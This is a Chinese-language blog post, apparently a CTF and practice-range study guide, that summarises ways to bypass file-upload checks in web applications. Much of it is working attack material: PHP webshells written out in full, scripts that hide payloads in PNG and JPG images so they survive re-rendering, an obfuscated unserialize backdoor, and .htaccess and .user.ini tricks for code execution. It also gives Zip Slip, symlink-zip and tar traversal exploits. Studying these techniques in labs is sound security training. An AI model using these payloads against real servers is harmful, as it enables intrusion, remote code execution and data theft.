关于文件上传的一点总结

前言

部分靶场用的是国光师傅的文件上传靶场项目 + upload-lab

JavaScript绕过

F12可以很清楚的看到上传逻辑

js绕过的方法较多,抓包改后缀,禁用js或是直接修改代码

访问chrome://settings/content/javascript?search=java

MIME绕过

MIME验证是对数据包的Content-Type类型进行验证
我们只需要修改Content-Type类型即可绕过

常见的类型

text/plain(纯文本)
text/html(HTML文档)
text/javascript(js代码)
application/xhtml+xml(XHTML文档)
image/gif(GIF图像)
image/jpeg(JPEG图像)
image/png(PNG图像)
video/mpeg(MPEG动画)
application/octet-stream(二进制数据)
application/pdf(PDF文档)
application/(编程语言) 该种语言的代码
application/msword(Microsoft Word文件)
message/rfc822(RFC 822形式)
multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示)
application/x-www-form-urlencoded( POST方法提交的表单)
multipart/form-data(POST提交时伴随文件上传的表单)

文件头绕过

顾名思义,就是对文件头的验证
用010 Editor等十六进制编辑器查看并修改

常见的文件头

PNG 的文件头为
89 50 4E 47 0D 0A 1A 0A

GIF(相当于文本的GIF89a):
47 49 46 38 39 61

JPG 的文件头为
FF D8 FF E0 00 10 4A 46 49 46

ZIP 的文件头为
50 4B 03 04

RAR 的文件头为
52 61 72 21

黑名单关键词替换绕过

1
2
3
$blacklist = array("php","php5","php4","php3","phtml","pht","htaccess");
$name = str_ireplace($blacklist,"",$name);
if (move_uploaded_file($_FILES['file']['tmp_name'],UPLOAD_PATH.$name))

黑名单关键词替换为空的操作是一种不安全的写法
可以使用双写来绕过
如test.phphpp

windows环境

还是上一题的代码
但是在windows环境下不区分大小写,所以就可以让 .PHp 当做 .php 来解析了,但是 Linux 下这种大小写如果的话完全没作用

黑名单缺陷

白名单是设置能通过的用户,白名单以外的用户都不能通过。
黑名单是设置不能通过的用户,黑名单以外的用户都能通过。

所以一般情况下白名单比黑名单限制的用户要更多一些
这里利用的是php的多后缀
默认情况下 Apache 把 phtml、pht、php、php3、php4、php5 解析为 PHP

.htaccess

上传一个.htaccess文件,文件内容如下

意思是这个目录下的所有以.png为后缀的文件都会被解析为php执行
然后上传一个1.png

访问上传的1.png
执行成功

或者可以组合auto_append_file来绕过一些对内容的限制

1
2
AddType application/x-httpd-php .aaa
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.aaa"

.htaccess 解析成图片

方法一:

1
2
#define width 1337
#define height 1337

方法二:

在.htaccess前添加x00x00x8ax39x8ax39
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

00截断–1

想要利用00截断需要一些条件:

php版本要小于5.3.4,5.3.4及以上已经修复该问题
magic_quotes_gpc需要为OFF状态

0x00,%00,/00之类的截断,都是一样的,只是不同表示而已

上传1.png,并构造一个new.php
即/upload/new.php%001.png,经过解析后1.png被截断

访问new.php
执行成功

00截断–2

POST型的00截断
需要手动解码一次

条件竞争

例子:先存储文件,再判断是否合法,然后又删除
首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,典型的“引狼入室”

攻击:首先上传一个php文件
当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

利用burp的抓包和爆破功能即可实现条件竞争(或是利用脚本,如较为方便的python)
将上传的shell无限发送,另一边无限访问这个shell,趁上传和删除的间隙生成webshell

move_uploaded_file绕过

move_uploaded_file($temp_file, $img_path)

上述函数除了 PHP 5.3.4 以下的版本可以用 00 截断绕过,就真的没有其他缺陷了吗?

当 $img_path 可控的时候,还会忽略掉 $img_path 后面的 /.

梅子酒师傅的这篇文章已经解释的很详细了

图片二次渲染绕过

imagecreatefrom 系列渲染图片都可能被绕过,有些特殊的图马是可以逃避过渲染的

GIF

先上传一个GIF

1.gif是上传的
2.gif是渲染后的
使用010的文件比较功能,其中灰的部分就是内容一致的部分

将php代码插入到灰色部分之中即可

上传后再导出,发现php代码并没有被渲染掉

PNG

直接使用大牛的脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>

用phpstudy等软件搭建一个本地环境运行即可
把木马和脚本放在同一目录下,访问php即可

JPG

同样直接放脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
$miniPayload = "<?php system('tac f*');?>"; //修改为需要的代码即可


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

用法 php exp.php 1.png
注意,要先上传渲染一次再进行脚本渲染
我在本地环境试了好多张jpg图片,包括系统截图的,qq截图,网上下载图片等等方式,都没有成功
不过国光师傅提供的这张图片倒是可以使用,不知道是啥问题

国光师傅的jpg总结

.user.ini

从.user.ini后补充一下靶场中没有提到的环境

使用条件:
对应目录下面有可执行的php文件

.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

如果采用exif_imagetype()验证文件后缀,可以尝试上传.user.ini

1
2
3
//使用任意一条即可,这两个配置项相当于文件包含 require()
auto_prepend_file = <filename> // 包含在文件头
auto_append_file = <filename> // 包含在文件尾(遇到exit语句失效)

如果成功上传了.user.ini后直接上传图片马getshell即可

trick1:auto_append_file也支持伪协议的使用,例如auto_append_file = php://input
trick2:可以包含nginx日志,例如auto_append_file = /var/log/nginx/access.log,访问的时候在ua头写上一句话木马

内容检测

可以使用二分法来确定被检测的关键字

第一种情况:检测php的关键标签,比如<?php ?>
可以尝试使用其他标签,如:

1
2
3
<script language="php">
eval($_POST[2333]);
</script>

使用script标签对php版本有要求:php < 7

或者使用短标签

1
<?=eval($_REQUEST[1]);

再或者可以上传.htaccess文件来修改配置项

例如

1
2
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.txt"

然后上传base64编码的txt文件即可

第二种情况:检测危险函数等敏感内容
可以使用免杀马等

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_POST['run'])) {
class HandShip {
public $name;
public $male;
function __destruct() {
$allin = $this->name;
$allin($this->male);
}
}
if(md5($_POST['code'])=='ce61649168c4550c2f7acab92354dc6e'){

unserialize($_POST['run']);
}
}
?>

使用方法run=O:8:"HandShip":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /home";};&code=panda

apache解析漏洞

非常简单的一个漏洞
Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀无法识别,则继续向左识别
上传shell.php.asd
asd这个后缀无法解析,服务器就会认为后缀是.php,从而绕过

该漏洞与Apache 、 php版本误关,属于用户配置不当造成的解析漏洞

配置如下

1
2
3
<FilesMatch ".+\.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>

不在mime.types当中的都不认识

1
2
Windows:/apche/conf/mine.types
Ubuntu:/etc/mime.types

iis asp目录解析漏洞

该解析漏洞形成原因是以*.asp命名的文件夹里面的文件都会被当作asp文件解析!

iis 分号漏洞

*.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。

nginx错误配置漏洞

该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞

1:由于nginx.conf的错误配置导致nginx把以.php结尾的文件交给fastcgi处理,为此可以构造upload/1.png/1.php(1.png是上传的文件,包含一句话木马)

2:但是fastcgi在处理1.php文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了/1.png,最后将1.png的内容当成php解析

超大文件名绕过

Content-Disposition: form-data; name=”file”; filename=”1.a.a.a.不要忽略我的长度.a.jsp

DATA绕过

没有对后缀名中的::$DATA进行过滤。在php+windows的情况下:如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持::$DATA之前的文件名。利用windows特性,可在后缀名中加::$DATA绕过

常见后缀

1
(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini")

getimagesize函数绕过

当在代码中使用getimagesize函数来检测是不是图片,而不采取其他措施的情况下,可以在文件头加上如下内容(XBM格式图片)来绕过检测

1
2
#define width 100;
#define height 100;

Zip Slip

上传zip类型的文件后,应用程序自动进行解压,就有可能存在zip slip漏洞

使用python生成或者010等工具手动编辑路径

1
2
3
4
5
6
7
import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'sec_test.txt'
#destination path of the file
zf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/sec_test.tmp')

unzip命令是无法实现目录穿越的,会默认跳过../

所有已发现受Zip Slip影响的项目

zip软连接

当解压操作可以覆盖上一次解压文件时触发

例如ciscn2023-unzip

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

unzip-o参数表示 不必先询问用户,unzip执行后覆盖原有的文件

构造第一个压缩包

先构造一个指向/var/www/html的软连接

1
ln -s /var/www/html poc

再保留软连接压缩

1
zip --symlinks test.zip poc

此时上传该test.zip解压出里边的文件,也就是软连接到/var/www/html

构造第二个压缩包

先创建跟第一个压缩包中目录同名的目录

1
mkdir poc

接着向目录中写一个shell

1
echo "<?php eval(\$_POST['a']);?>" > ./poc/shell.php

压缩这个目录

1
zip -r test1.zip poc

当我们上传第二个压缩包时,因为poc目录已经软连接到/var/www/html了,所以解压的时候会把shell.php放在/var/www/html

tar解压目录穿越

tar命令可以在打包的时候把路径也打包进去

tar cPvf test.tar ../../../../../var/www/html/upload/payload.php

Linux下解压(使用的是GNU的tar),默认情况下,tar会自动把前面的/去掉,然后在当前目录解压
Unix则不然,会依照绝对路径解压,对路径中的其他文件不影响,对相同的文件,覆盖。如果不存在某个目录,则创建(如果有权限)。
在这里 python的解压 与Unix的解压同理,会直接在指定路径下进行解压

phar:// & zip://

http://localhost/?url=phar://uploads/63e93ffe53f03e93bb0a0249152d243874e31c9b.zip/shell
http://localhost/?url=zip:///var/www/html/upload/892e38cea0c47c744ecc60ccacc94c23.zip%23shell

利用中间件差异绕过waf

来自西湖论剑的一道题目:扭转乾坤

上传发现提示的apache不支持Content-Type: multipart/form-data

后端为tomcattomcat对于包解析并不是严格按照RFC中的标准,对一些异常的header头内容也会兼容

包括但不限于,修改为Content-Typemultipart//form-data;大小写兼容multipartmultipart/ form-data;

判断上传漏洞类型

借用c0ny1师傅的一个图

总结

文件上传的基本姿势应该都提及了
欢迎补充和指正!


关于文件上传的一点总结
https://www.dr0n.top/posts/5c3aa540/
作者
dr0n
发布于
2021年7月1日
更新于
2024年3月27日
许可协议